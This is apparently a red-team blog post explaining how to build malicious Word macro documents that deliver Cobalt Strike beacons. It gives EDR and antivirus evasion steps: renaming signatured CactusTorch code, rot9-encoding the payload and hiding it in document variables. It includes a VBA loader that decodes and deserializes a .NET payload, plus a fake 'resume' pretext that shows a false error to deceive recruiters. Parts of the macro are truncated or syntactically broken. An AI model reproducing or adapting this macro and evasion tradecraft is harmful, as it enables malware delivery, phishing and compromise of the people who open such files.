Malicious Word Documents with Cobalt Strike

Now that Microsoft is blocking macros for internet and externally sourced documents, I feel its safer to talk about some of the EDR evading Word macro techniques I have used in the past. Particularly for delivering Cobalt Strike beacons.

Cactus Torch is a great tool as a starting point. It takes some basic concepts such as a encoding the CS payload in memory, starting a process and injecting the payload into memory. Unfortunately, Cactus Torch is heavily signatured, but with a bit of modification, you can easily bypass most EDR solutions, including Windows Defender. Cactus Torch gets flagged because of a few function calls and variable names, but if you change those, you’ll find EDR no longer detects it. That’s the first step towards EDR evasion.

However, it will all be for naught if your CS payload is detected. So we’ll need to do more.

The second technique to evade EDR is rot9 encoding the variables for the payload and having them decode at runtime. This technique I got from talks delivered at DerbyCon by Walmart’s Red Team by Carrie Roberts. This technnique is simple enough, easy to implement in macros, and you can write up a quick encoder for your raw CS payload in Powershell or your favorite scripting language. Even better if you can get it to be broken up into chunks for variable assignment.

You can also hide your payload in Document variables, where it will be saved as part of the document, not the script. The Document variables are meant to be static/immutable once assigned, so you’ll need to assign them, save the document, then delete the variable assignments from the macro code, else it will throw an error. But the payload will be saved and you can deliver it to your victim. If you do this, you likely won’t have to do rot9 encoding since EDR only examines the macro, but if you’ve already gone through the effort, no harm in leaving it in, its just a bit of extra CPU time on execution.

' decrypt_resume Macro

Public code As String
Public key As String

Sub Init()

    # Set ActiveDocument Variables with the payload and run once, then remove

End Sub

Private Function unhify(h)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = h
    unhify = EL.NodeTypedValue
End Function

Private Function Oct(Thur)
    Oct = Chr(Thur - 19)
End Function

Private Function May(Wed)
    May = Left(Wed, 3)
End Function

Private Function Sept(Mon)
    Sept = Right(Mon, Len(Mon) - 3)
End Function

Private Function Nov(Sat)
      Yesterday = Yesterday + Oct(May(Sat))
      Sat = Sept(Sat)
    Loop While Len(Sat) > 0
    Nov = Yesterday
End Function

Function decryptResume()
    # so is really CactusTorch TestClass.cs modified to remove key signatures # and compiled and converted using DotNet2JScript, then Rot 9 encoded.
    Dim so
    so = "0670670670680670670670670670670890890890890890890890890670680670670670670670670670670670670670670670"
    so = so & "6706707106706806706706706706706706906907207007407607407007407107307207308706908807107107307207308607"
    so = so & "3072073074073068074071073072072070073072074069073076073068073086073076074084073068074071073076073089"
    # Most of the lines removed for brevity

    ec = "resume"

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set al = CreateObject("System.Collections.ArrayList")

    Dim dec
    dec = unhify(Nov(so))

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n
    code1 = ActiveDocument.Variables("code1").Value
    code2 = ActiveDocument.Variables("code2").Value
    code3 = ActiveDocument.Variables("code3").Value
    code4 = ActiveDocument.Variables("code4").Value
    code5 = ActiveDocument.Variables("code5").Value
    recode = code1 + code2 + code3 + code4 + code5
    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(ec)
    o.Decrypt recode
End Function

Sub checkCompatibility()

    partOfDomain = False
    wfDomain = False
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
    For Each ObjComputer In colItems
        If ObjComputer.partOfDomain Then
            partOfDomain = True
        End If
        If ObjComputer.Domain = "COMPANY-DOMAIN" Then
            Domain = True
            key = ObjComputer.Domain
        End If
    Domain = True
    partOfDomain = True
    key = "COMPANY-DOMAIN"
    If partOfDomain And wfDomain Then
    End If
End Sub

Public Function printLine(line)

   ActiveDocument.Range.Text = ActiveDocument.Range.Text & line
End Function

Sub printResume()
    ActiveDocument.Range.Text = ""
    printLine "????????§"
    printLine "?????????¶¶¶¶¶¶§«¯­­­®­«ª±????§"
    printLine "????`ïëèØ׸»»º¨¤¡~???????????"
    printLine "Macro error occurred. Could not display document. Document exported by Resume Creator 2001, see help section for Resume Creator 2001 or contact support."
End Sub

Sub AutoOpen()
    ' printResume
End Sub

Sub Auto_Open()
End Sub

The premise for this code would be a partially obscured “Resume” that requires the user to activate for “security reasons” because of the personal information contained inside, etc.

resume pretext

The code above removes the content and generates an error.

The document must be saved in the older .doc Word format, since the newer docx format necessarily excludes macros, and docm is usually filtered out or not allowed to be submitted to job application sites.

Ryan Linn coded up a solution to simplify this called BetterTorch which he presented on at DerbyCon. This automates a lot of this effort and utilizes a lot of the techniques above.

Another newer technique I’m seeing utilized is VSTO which bypasses macros entirely and uses a Word plugin.

See also